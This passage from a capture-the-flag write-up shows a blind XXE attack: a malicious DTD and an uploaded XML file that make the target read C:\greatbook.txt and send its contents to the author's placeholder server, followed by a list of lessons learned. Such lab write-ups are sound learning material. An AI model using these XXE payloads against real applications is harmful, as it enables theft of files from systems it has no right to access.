  1. A malicious DTD is accessible on my public server:

    pwn.dtd:

    1
    2
    3
    
     <?xml version="1.0" encoding="UTF-8"?>
     <!ENTITY % stolendata SYSTEM "file:///c:/greatbook.txt">
     <!ENTITY % inception "<!ENTITY &#x25; sendit SYSTEM 'http://<public-ip-goes-here>:8000/?%stolendata;'>">
    
  2. The malicious xml file to be uploaded to the application:

    elfdata.xml:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    
     <?xml version="1.0" encoding="UTF-8"?>
     <!DOCTYPE demo [
         <!ELEMENT demo ANY >
         <!ENTITY % extentity SYSTEM "http://<public-ip-goes-here>:8000/pwn.dtd">
         %extentity;
         %inception;
         %sendit;
         ]
     >
     <Elf>
       <Elf>
           <ElfID>1</ElfID>
           <ElfName>x64</ElfName>
           <Contact>13371337</Contact>
           <DateOfPurchase>11/29/3017 12:00:00 AM</DateOfPurchase>
           <Picture>2.png</Picture>
           <Address>here</Address>
       </Elf>
     </Elf>
    

After uploading the malicious xml file to the application, I was able to see the content of C:\greatbook.txt in my web log on my server:

greatbook.txt

Visit the URL to obtain page 6 of the great book!

Things I’ve learned in this challenge

  1. How to do SSH tunnel.
  2. XXE, DTD and how to do a simple XXE with DTD.
  3. Parsing data from the command line. This is a great one.

And more importantly, the non-technical lessons

  1. Look carefully. Small but critial details are easy to overlook. I overlook many things: the hints for the correct nmap scan, the grep result for the password. They were all important and what I gotta pay for is time.
  2. Play with exploits to understand it.
  3. NEVER HARDCODE YOUR PASSWORD, JUST DON’T
This post is licensed under CC BY 4.0 by the author.